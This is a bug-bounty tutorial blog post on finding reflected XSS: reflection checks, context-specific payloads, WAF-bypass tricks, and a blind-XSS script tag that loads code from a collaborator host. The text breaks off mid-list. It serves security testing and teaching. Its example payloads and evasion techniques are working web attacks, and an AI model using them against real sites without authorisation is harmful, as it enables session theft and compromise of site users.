XSS Hunting Like a Pro: The Systematic Approach That Finds Payloads WAFs Can’t Block + Video

Listen to this Post

Featured Image

Introduction

Cross-Site Scripting (XSS) remains one of the most prevalent and dangerous web vulnerabilities, consistently ranking in the OWASP Top 10. While countless security researchers and bug bounty hunters blindly throw payloads at web applications, the difference between finding critical XSS vulnerabilities and wasting hours on dead ends comes down to one thing: a systematic, context-aware methodology. This article breaks down a professional-grade approach to XSS testing that prioritizes reflection analysis, input balancing, and WAF evasion—techniques that have consistently uncovered high-impact vulnerabilities in real-world bug bounty programs.

Learning Objectives

  • Master a systematic methodology for testing reflected XSS parameters, from initial reflection checks to advanced WAF bypass techniques
  • Understand how to analyze input reflection contexts and determine when to move on versus when to double down
  • Learn to leverage automated payload generation tools while maintaining manual testing discipline
  • Develop the ability to craft context-specific payloads that execute successfully across different reflection scenarios

You Should Know

  1. The Reflection-First Methodology: Don’t Waste Time on Dead Parameters

The most common mistake in XSS testing is blindly injecting payloads into every parameter without first understanding whether the input is even reflected in the response. Professional bug bounty hunters follow a strict reflection-first approach that saves hours of frustration.

Step 1: Test for Basic Reflection

Begin by injecting a unique, non-malicious string into the target parameter. For example, if the URL is https://domain[.]com/nodes/search?keywords=test123`, check the HTTP response for the exact occurrence oftest123`. If the string doesn’t appear anywhere in the response, the parameter is not reflected—move on immediately. There’s no point testing XSS on a parameter that doesn’t echo user input.

Step 2: Analyze the Reflection Context

If the string is reflected, observe how it appears. Is it inside an HTML attribute value like value="test123"? Is it between HTML tags? Is it inside a JavaScript string? The context determines which payloads will work and which will fail.

Linux/Command Line Tip: Use `curl` to quickly check reflection without opening a browser:

curl -s "https://domain.com/nodes/search?keywords=test123" | grep -o "test123"

Windows PowerShell Equivalent:

Invoke-WebRequest -Uri "https://domain.com/nodes/search?keywords=test123" | Select-String "test123"

Step 3: Test Input Balancing

Once you confirm reflection, test how the application handles special characters that break out of the current context. A simple test like `keywords=test123′”` can reveal whether the application escapes or filters your input. If you see `test123′”` reflected exactly as entered, the application is likely not escaping special characters—a promising sign.

Step 4: The HTML Entity Encoding Red Flag

If you observe the reflection as `test123<` or `test123>` (HTML entity encoded), the application is sanitizing your input. While this doesn’t guarantee XSS is impossible, it significantly raises the difficulty. In many cases, it’s more efficient to move to the next parameter rather than fighting heavy-handed encoding.

  1. Context-Aware Payload Selection: One Size Does Not Fit All

Understanding the reflection context is the single most important factor in payload selection. A payload that works inside an HTML attribute won’t work inside a JavaScript string, and vice versa.

Context 1: Inside HTML Attribute Values (e.g., `value=”

"`)</h2>

When input is reflected inside a double-quoted attribute value, you need to break out of the attribute first. The classic test is:

[bash]
keywords="><script>alert(1)</script>

If the application doesn’t escape quotes, this closes the attribute, closes the tag, and injects a new script tag.

Context 2: Between HTML Tags (e.g., `

</div>`)</h2>

In this context, you don't need to break out of an attribute—just inject HTML/JavaScript directly:

[bash]
keywords=<script>alert(1)</script>

Context 3: Inside JavaScript Strings (e.g., var x = "

";</code>)

This is where things get interesting. You need to break out of the JavaScript string context:

[bash]
keywords=";alert(1);//

Context 4: Inside JavaScript Code Without Quotes

Some applications reflect input directly into JavaScript without quotes:

keywords=alert(1)

Tool Tip: The xss-payloads-generator toolautomates the generation of context-specific payloads, saving you from manually crafting dozens of variations. The tool generates encoded variants using HTML entity encoding and URL encoding to test different filter bypass scenarios.

  1. WAF Bypass Techniques: When Filters Get in the Way

Web Application Firewalls (WAFs) are designed to block known XSS patterns. When you encounter a WAF, you need to think like an adversary and understand how these filters work.

Technique 1: Encoding Obfuscation

WAFs often rely on pattern matching. By encoding your payload, you can bypass signature-based detection. Common encoding techniques include:

  • URL Encoding: `%3Cscript%3Ealert(1)%3C/script%3E`
    - Double URL Encoding: `%253Cscript%253Ealert(1)%253C/script%253E`
    - HTML Entity Encoding: `<script>alert(1)</script>`
    - Unicode Encoding: `\u003cscript\u003ealert(1)\u003c/script\u003e`

Technique 2: Case Manipulation

Many WAFs are case-sensitive. Mixing case can bypass filters that only look for lowercase patterns:

<ScRiPt>alert(1)</ScRiPt>

Technique 3: Parameter Pollution

Parameter pollution involves sending the same parameter multiple times with different values. Some WAFs only check the first or last occurrence, allowing a malicious value to slip through:

https://domain.com/search?keywords=safe&keywords=<script>alert(1)</script>

Technique 4: Using Less Common Event Handlers

Instead of using `onerror` or `onload` which are heavily filtered, try lesser-known events:

<img src=x onbeforetoggle=alert(1)>

The `onbeforetoggle` event is less likely to be on WAF blocklists.

Technique 5: Comment Injection

Inserting comments can break up patterns that WAFs look for:

<scri<!--foo-->pt>alert(1)</script>

4. Leveraging the XSS Payloads Generator Tool

The `xss-payloads-generator` tool is a powerful ally in your XSS testing arsenal. It generates a wide variety of payloads using advanced obfuscation techniques to evade character-based filters, pattern matching, and signature detection mechanisms commonly employed by WAFs.

Installation and Setup:

git clone https://github.com/rix4uni/xss-payloads-generator.git
cd xss-payloads-generator

Basic Usage:

The tool accepts input in JSON format with various actions and WAF bypass tricks. While it doesn't automatically detect XSS vulnerabilities or perform fuzzing, it excels at generating diverse payload variations that you can manually test.

Example Workflow:

1. Identify a reflected parameter

  1. Determine the reflection context (attribute, tag, JavaScript, etc.)

3. Use the generator to create context-specific payloads

4. Test each payload manually, observing the response

  1. If a payload works, refine it for maximum impact

Complementary Tools:

  • ReflexionX: An AI-driven XSS hunting framework that automates reflection analysis and context-aware payload generation
  • ex-param: An automated tool that crawls websites, extracts GET parameters, and tests them for reflected input
  • SecPayloads: A collection of multiple payload lists including XSS, SQLi, and sensitive data patterns
  1. Advanced XSS Payload Categories for Bug Bounty Success

Beyond the basic `alert(1)` payloads that every scanner finds, professional bug bounty hunters maintain a diverse arsenal of payloads tailored to specific scenarios.

Blind XSS Payloads

Blind XSS occurs when the payload executes in a different context, such as an admin panel or analytics dashboard. These payloads typically include a callback to an external server:

<script src="https://your-collaborator.com/logger.js"></script>

DOM-Based XSS Payloads

DOM-based XSS doesn't require the payload to be reflected in the server response—it executes entirely in the client-side JavaScript:

https://domain.com/"><img src=x onerror=alert(1)>

Short and Stealthy Payloads

Some applications have length restrictions. Short payloads are essential in these scenarios:


<

svg/onload=alert(1)>

Framework-Specific Payloads

Modern frameworks like React, Angular, and Vue have their own XSS vectors. Understanding these framework-specific vulnerabilities can uncover bugs that generic payloads miss.

Practical Testing Command:

For quick testing across multiple parameters, use this `ffuf` command:

ffuf -u "https://domain.com/search?FUZZ=test" -w payloads.txt -mr "test"

This finds all parameters that reflect the word "test", giving you a list of candidates for deeper XSS testing.

  1. When to Move On: The 80/20 Rule of XSS Hunting

Not every reflected parameter is worth hours of effort. Professional bug bounty hunters apply the 80/20 rule: 80% of your results come from 20% of your effort.

Signs You Should Move On:

  1. Heavy HTML entity encoding: If your input is consistently encoded as `<` and &gt;, the application has robust output encoding
  2. CSP (Content Security Policy) headers: A strict CSP can prevent script execution even if you inject successfully
  3. Input validation that strips tags: If `